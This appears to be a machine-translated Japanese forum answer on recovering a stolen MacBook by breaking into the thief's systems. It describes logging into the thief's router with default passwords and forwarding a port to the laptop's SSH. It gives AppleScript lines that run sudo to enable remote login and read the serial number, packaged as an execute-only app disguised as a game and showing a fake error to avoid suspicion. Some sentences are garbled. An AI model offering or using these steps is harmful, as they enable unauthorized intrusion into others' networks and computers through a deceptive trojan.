そのゾーツ博士のビデオを見たことを覚えています。いい物。
シェルスクリプトの作成能力があり、攻撃ベクトルが必要なようです。Zozが行ったことと同様のことを行うための鍵は、SSHアクセスを取得することです。泥棒がダイヤルアップモデムを使用していた彼の状況とは異なり、新しいMacはダイヤルアップを行わないため、泥棒はブロードバンド接続を使用しており、何らかのNATルーターの背後にいることはほぼ確実です。
マシンでSSHが有効になっている場合でも、外部からマシンのSSHリスニングポートにアクセスするには、ルーターでポート転送を設定する必要があります。ブロードバンド接続の利点は、IPアドレスがダイヤルアップの場合よりもほとんど確実に変更されないことです。
私が泥棒のIPを持ってあなたの立場にいた場合、まずルーターのWebインターフェースにログインして、そこから何ができるかを確認します。デフォルトのルーター/モデムのパスワードをそのままにしておく人の数は驚くべきことです。また、ほとんどの主要メーカーのデフォルトのパスワードを見つけることができるオンラインのリストがあります。
内部に入ったら、ルーター上のDHCPクライアントのリストを確認し、MacBookが見つかるかどうかを確認します。多くのルーターには、MAC(ハードウェア)アドレス、割り当てられた内部IPアドレス(最も頻繁に192.168.1.x)、そして最も重要なのはマシン名が表示されます。
どのIPがMacBookに割り当てられているかを特定し、ルーターの設定でそのポートに転送するポートを設定します。22以外の外部ポート(ポート2222など)を使用して、MacBookのIPのポート22に転送します。
多くのルーターではSSHアクセスが有効になっているため、泥棒のIP @ポート22にアクセスすると、マシンシェルではなくルーターシェルにアクセスできる場合があります。これで、泥棒の外部IP(Dropboxから取得した)にポートがあり、MacBookでSSHがバインドされているポートに直接アクセスできます。ただし、SSHはまだ有効になっていません。
この部分には、泥棒からの何らかのアクションが必要です。私はメールのアイデアが好きですが、あなたの友人がApple Mailを使用していることが必要です。より良い方法は、魅力的な.appファイルをDropboxにアップロードし、SSH(リモートログイン)をオンにすることです。
これはシェルスクリプトを介して行うことができますが、Applescriptを介してそれを行い、Applescriptを.appとして保存し、素敵なアイコンを与えることはすべて、マークをだまし、自分を解放しないことに大いに役立ちます。
リモートログインを有効にするApplescriptコードは次のとおりです。
do shell script "sudo systemsetup setremotelogin on" user name "Friend's Username" password "Friend's Password" with administrator privileges
このコードは、マシンのシリアル番号を含む文字列を返します。シリアル番号は、必要に応じて自分宛にメールで送信できます。
do shell script "sudo system_profiler |grep \"r (system)\"" user name "Friend's Username" password "Friend's Password" with administrator privileges
リモートログインをオンにして、他に必要なことを行うように、私はアップルスクリプトを書きます。GUIまたはシェル以外のアプリケーションのスクリプトを作成しないようにしてください。これにより疑念が生じます。最後に、「このアプリケーションはこのMacintoshでは実行できません」というメッセージを表示します。疑いを減らすための「終了」ボタンがあります。AppleScript Editorでスクリプトが動作したら、実行専用の.appファイルとして保存します。
.appを人気のあるゲーム、Plants vs. Zombies、Angry Birdsなどに変装してみてください。実際のゲームの.appからアイコンをエクスポートし、Applescriptからエクスポートした.appにアイコンを配置できます。友人が泥棒をよく見た場合、あなたは彼/彼女を社会的にプロファイルし、.appを彼らが興味を持っているかもしれない何かとして偽装することができます。
ポートをフォワードに設定できれば(マークは適切なセキュリティ慣行を強制しません)、アプリケーションを実行させることができれば、マシンへの完全なSSHアクセスが可能になり、手がかりを探し続けることができますすぐにあなたの存在を与える。これには、マークがDropboxのGrowl通知に飽きて終了しないことも必要です。そのため、友人にDropboxへのファイルの保存をしばらく停止することをお勧めします。
注:泥棒がISPから切断して再接続すると、泥棒は新しい外部IPを取得します。ファイルをDropboxに追加し、同期するのを待ちます。これにより、更新されたIPが取得されます。
注2:ユーザーがMacBookを使用して一定時間(通常24時間)ルーターに接続しない場合、MacBookに割り当てられた内部IPアドレスのDHCPリースは期限切れになります。別のデバイスがネットワークに導入されない限り、次に接続するときに同じIPアドレスを取得する可能性があります。このイベントでは、手動でルーターにログインし直し、ポートを変更する必要があります。
これが攻撃の唯一の手段ではありませんが、これはIPがDropboxを介してまだ更新されていることに気付いた2番目の方法です。がんばろう!
編集:各「do shell script」行の最後にある「管理者権限」は非常に重要です。インラインでユーザー名とパスワードを含めないと、ユーザーは友達の管理者パスワードの入力を求められ、スクリプトは失敗します。